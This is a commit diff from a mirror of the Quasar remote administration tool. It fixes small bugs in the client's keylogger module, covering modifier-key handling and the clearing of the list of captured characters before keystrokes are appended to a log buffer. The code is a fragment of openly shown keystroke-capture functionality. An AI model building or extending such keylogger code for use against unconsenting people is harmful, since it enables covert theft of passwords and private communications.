mirror of https://github.com/quasar/Quasar.git
commit
d1b5b3a865
|
@ -139,7 +139,9 @@ namespace xClient.Core.Keylogger
|
||||||
if (!string.IsNullOrEmpty(filtered))
|
if (!string.IsNullOrEmpty(filtered))
|
||||||
{
|
{
|
||||||
Debug.WriteLine("OnKeyPress Output: " + filtered);
|
Debug.WriteLine("OnKeyPress Output: " + filtered);
|
||||||
_ignoreSpecialKeys = true;
|
if (_pressedKeys.IsModifierKeysSet())
|
||||||
|
_ignoreSpecialKeys = true;
|
||||||
|
|
||||||
_pressedKeyChars.Add(e.KeyChar);
|
_pressedKeyChars.Add(e.KeyChar);
|
||||||
_logFileBuffer.Append(filtered);
|
_logFileBuffer.Append(filtered);
|
||||||
}
|
}
|
||||||
|
@ -149,8 +151,7 @@ namespace xClient.Core.Keylogger
|
||||||
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
|
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
|
||||||
{
|
{
|
||||||
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
|
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
|
||||||
for (int i = 0; i < _pressedKeyChars.Count; i++)
|
_pressedKeyChars.Clear();
|
||||||
_pressedKeyChars.RemoveAt(i);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private string HighlightSpecialKeys(Keys[] keys)
|
private string HighlightSpecialKeys(Keys[] keys)
|
||||||
|
@ -167,6 +168,7 @@ namespace xClient.Core.Keylogger
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
names[i] = string.Empty;
|
||||||
_pressedKeys.Remove(keys[i]);
|
_pressedKeys.Remove(keys[i]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue